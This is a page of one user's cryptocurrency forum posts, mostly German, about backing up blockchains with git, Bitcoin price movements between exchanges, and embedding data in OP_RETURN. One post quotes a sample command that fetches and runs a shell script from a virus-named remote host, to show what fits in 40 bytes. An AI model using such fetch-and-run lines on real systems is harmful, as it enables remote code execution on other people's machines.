Eine weitere Alternative - wenn man z.B. Rechner zur Verfuegung hat die staendig laufen (auf Arbeit/Uni u.ae.) - waere es, dort die Chain-Dienste laufen zu lassen. Die fressen ja nicht viel Leistung wenn die Blockchains aktuell sind. Auf die entsprechenden Verzeichnisse koennte man per sshfs zugreifen. Dann ginge das alles Remote. Ich habe nur keine Ahnung wie lange dann das Laden der Blockchain mit den Clienten dauert.  |
|
|
|
Git mit Github oder Git mit eigenem Server?
Mit git lokal auf einem externen Datentraeger. Also im Prinzip einfach nur cd .<name>coin/
git init
git add *
git commit -m "<message>"
Wobei "git init" natuerlich nur beim ersten Mal durchgefuehrt wird. warum aber überhaupt Versionen der Blockchain?
also was ist der Sinn dahinter?
wenn man die Blockchain zu einem bestimmten Zeitpunkt haben möchte, kann man ja einfach am ende was löschen.
Ich synchroniziere die Chains taeglich mit <name>coin-qt um auf Marktaenderungen schnell reagieren zu koennen. Einem Marktplatz ueberlasse ich demnach und nachvollziebarerweise nur ungern meine Coins. Das Problem ist nun, dass schon desoefteren die Bitcoinchain durcheinander gebracht wurde und das neue Runterladen der gesamten Chain keine Alternative darstellt. Desweiteren scheint insbesondere namecoin-qt in der Beziehung buggy zu sein. Das ganze laeuft auf einer, wie soll ich sagen, nicht ganz alltaeglichen Linux-Distribution. Ich habe natuerlich eine Art aelteres Backup auf einem Rechner liegen, welchen ich hochfahren und dann fuer ein paar Tage laufen lassen kann. Der frisst mir aber zuviel Strom und beim Minen kommt mit dem nicht viel rueber. Auch koennte ich die chains per <name>coind kontinuierlich synchronizieren. Habe aber aktuell keine Lust die entsprechenden Wallets auf einem RaspberryPi zu kompilieren. Das ist ja ARM und da gibts nicht so einfach die Binaries fuer. Mit Git kann ich - bzw. hoffe ich dass ich das kann - die Blockchain wenn fehlerhaft, mit wenig Aufwand wieder auf eine funktionierende Version zurueckdrehen. |
|
|
|
So jetzt halt ich meine Klappe und lass dem Kurs seinen Lauf.
Den Bitcoin-Kurs in seinem Lauf,
den hältst du sowieso nicht auf!  Onkel Paul Würde diesen Spruch echt gern im 'wall thread' re-posten, würde dort aber wahrscheinlich keiner verstehen. Erich wäre stolz auf uns  Wenn er denn mal richtig wiedergegeben worden wäre. Den Bitcoin-Kurs in seinem Lauf, hält weder Ochs noch Esel auf! Noch richtiger waere: Den Bitcoin-Kurs in seinem Lauf, hält weder Bull noch Bärle auf! |
|
|
|
Ach du hast UTC eingestellt  12h zuvor übrigens genau das gleiche Spiel Is doch die Defaulteinstellung. Da ich mit Tor surfe (natuerlich nicht wenn ich mich irgendwo einlogg) werden die Einstellungen nicht automatisch gespeichert. Also merk ich mir den Offset. Das ist ja nicht allzuschwer. Sorry wegen des Missverstaendnisses. |
|
|
|
Meine Vermutung ist, das es ein paar Insider gibt die jetzt schon wissen was in den nächsten Tagen eventuell auch 2 Wochen passieren wird und sich jetzt mit Bitcoins eindekcne, daher vielleicht auch der Kursverlauf nach oben innerhalb der letzten Stunden!
Viel realisitischer finde ich, dass heute schon einige an der Wall Street wissen, wie sich Herr Lawsky entscheiden wird. Nun, die Ralley ging aber wieder ne Viertelstunde frueher auf Huobi (14:00) als auf Bitstamp (14:15) los insofern man den Daten auf bitcoinwisdom glauben darf. Ausserdem sind die Betraege fuer die Wallstreet noch zu klein. D.h. es rumort in Asien. Oder habe ich was uebersehen? Deine Angabe wann die Rally losging, kann ich nicht so ganz nachvollziehen. Na ich guck auf bitcoinwisdom wann das Handelsvolumen auf den verschiedenen Boersen signifikant ansteigt. Ok ich muss dazu sagen dass ich den 15 Minuten Chart beobachte. Auf Bitstamp ist der erste signifikante Balken bei 14:15 mit rund 1400 BTC, auf Huobi taucht der erste solche Balken bei 14:00 auf mit ca. 2100 BTC. Auf der anderen Seite scheint sich da eine Eigendynamik auf Bitstamp zu entwickeln, mglw. das Signal auf das alle gewartet haben (vllt bin ich aber auch wieder zu bullisch), das geht ja zml rasant ab. Und Huobi ziert sich momentan etwas nachzuziehen was die Preissteigerungen angeht. |
|
|
|
Meine Vermutung ist, das es ein paar Insider gibt die jetzt schon wissen was in den nächsten Tagen eventuell auch 2 Wochen passieren wird und sich jetzt mit Bitcoins eindekcne, daher vielleicht auch der Kursverlauf nach oben innerhalb der letzten Stunden!
Viel realisitischer finde ich, dass heute schon einige an der Wall Street wissen, wie sich Herr Lawsky entscheiden wird. Nun, die Rallye ging aber wieder ne Viertelstunde frueher auf Huobi (14:00) als auf Bitstamp (14:15) los insofern man den Daten auf bitcoinwisdom glauben darf. Ausserdem sind die Betraege fuer die Wallstreet noch zu klein. D.h. es rumort in Asien. Oder habe ich was uebersehen? |
|
|
|
Meine Vermutung ist, das es ein paar Insider gibt die jetzt schon wissen was in den nächsten Tagen eventuell auch 2 Wochen passieren wird und sich jetzt mit Bitcoins eindekcne, daher vielleicht auch der Kursverlauf nach oben innerhalb der letzten Stunden!
Oder kann einer uns mal zeigen wie hoch das gehandelte Volumen dieser Thailändischen BTC Börse aktuell ist ?
Spielt keine Rolle. Whichtig ist (imho): "[...] The central bank then suggested in March that bitcoin was risky but not necessarily illegal in the country, opening the door to legitimate bitcoin businesses. [...]" http://www.coindesk.com/thailand-bitcoin-exchange-reopens-enhanced-services/ |
|
|
|
Der Abwärstrend ist durchbrochen, der Kurs liegt momentan auf dem beschleunigten Aufwärstrend seit 2013!! Jetzt muss er nur noch halten und es kann abgehen  etwas zu optimistisch, kurz zuvor war der Kurs noch unter dem beschleunigten Aufwärtstrend. Wir werden wohl noch etwas warten müssen,bei dem geringen Volumen und kaum Kaufdruck (außer heute morgen kurz) Zu frueh gefreut wah. Die 465 $ sind geknackt To da moon!!!111 |
|
|
|
Noch ne andere Frage: Hat der Kursanstieg heut Nacht mit Thailand zu tun? Ging ja ca. um 2:00 (bitcoinwisdom) auf Huobi und BTCSchina los, und mit 15 Minuten Verzoeerung dann auf bitstamp ... |
|
|
|
|
Mal eine andere Frage:
Was glaubt ihr wie die Fussball WM 2014 den Kurs beeinflusst? Glaubt ihr
(i) Das geht weiter wie immer bisher (TA) denn Bitcoiner interessieren sich gar nicht fuer Fussball;
(ii) Das Handelsvolumen sinkt (waehrend einer Partie);
(iii) Das Handelsvolumen steigt (waehrend einer Partie, die Bitcoiner pendeln zwischen TV und PC);
(iv) Es ist dem Kurs zutraeglich wenn die groesste BTC-Wirtschaft gewinnt (VSA).
|
|
|
|
|
Falls es jmd interessiert, mit gitk habe ich es hinbekommen, dass ich eine alte Blockchainversion wiederherstellen konnte. Zwar werden so scheinbar viele zusaetzliche alte Dateien erzeugt (k.A. warum), aber *coin-qt scheint das wieder aufzuraeumen.
In gitk den entsprechenden alten Commit mit der rechten Maustaste anklicken, dann "zuruecksetzen" auswaehlen und bei den drei verschiedenen Methoden die dritte auswaehlen. Alle juengeren Commits werden so aber geloescht. (Getestet mit der feathercoin-Blockchain und feathercoin-qt)
Wie das per Kommandozeile geht: k.A..
|
|
|
|
OP_RETURN ist nur 40 Bytes.
"bash -c ftp:\\linuxvirus.ru\bitcoin.sh" 38 Bytes wird zwar immer noch nicht ausgeführt , aber befehl ist kurz genug  . Sowas laeuft aber imho nicht unter der Definition Virus und ist deshalb nicht verbotswuerdig. Wobei, wenn man bedenkt, dass sogar die Verlinkung von rechtlich geschuetzten Daten rechtlich fragwuerdig sein kann, dann kann das noch zu Problemen fuehren: http://www.e-recht24.de/artikel/haftunginhalte/22.html |
|
|
|
Wenn das BTC-Protokoll gut programmiert ist sollte es keine Probleme geben. Denn die Groesse der Nachrichten in der Blockchain sind begrenzt. D.h. du kannst dort nicht beliebig grosse Viren/Trojaner unterbringen. Eine Loesung waere, dass keine binaeren Daten in der Blockchain abgelegt werden duerfen. So eine Aenderung sollte relativ einfach am Protokoll vorgenommen werden koennen. D.h. ausfuehrbarer Code und Bilder/Videos/mp3s/zips waeren dann schon mal keine Gefahr mehr. Klar kann man die auch in Hex-Darstellung unterbringen, dann schwillt der "Code" aber unverhaeltnismaessig an und die Menge der unterbringbaren Daten verringert sicht weiter. |
|
|
|
|
Hallo,
ich spiele gerade mit Git rum um Blockchains zu backupen. Leider haut das nicht hin wie es soll. Wenn ich ein revert mache dann ist die resultierende aeltere Version der Datenbank kaputt.
Kennt sich jmd derart mit Git aus so dass er weiss ob man das korrigieren kann?
Gruss,
cu
|
|
|
|
Hi, currently I am testing git for backuping blockchains in the corresponding chain directory: git add *
git commit -m "<some text>"
However, if I try to revert a commit using the resulting chain directory is messed up, i.e., starting *coin-qt reports a broken blockchain and wants to start downloading the whole db again. Actually I though that a revert would restore a former state of the blockchain. But this assumptions seems to be wrong. Anyone an idea what is going wrong? For test purposes, I use the feathercoin blockchain and feathercoin-qt since the corresponding db can be copied relatively quickly. Thanks in advance for your help. |
|
|
|
|
Show Posts
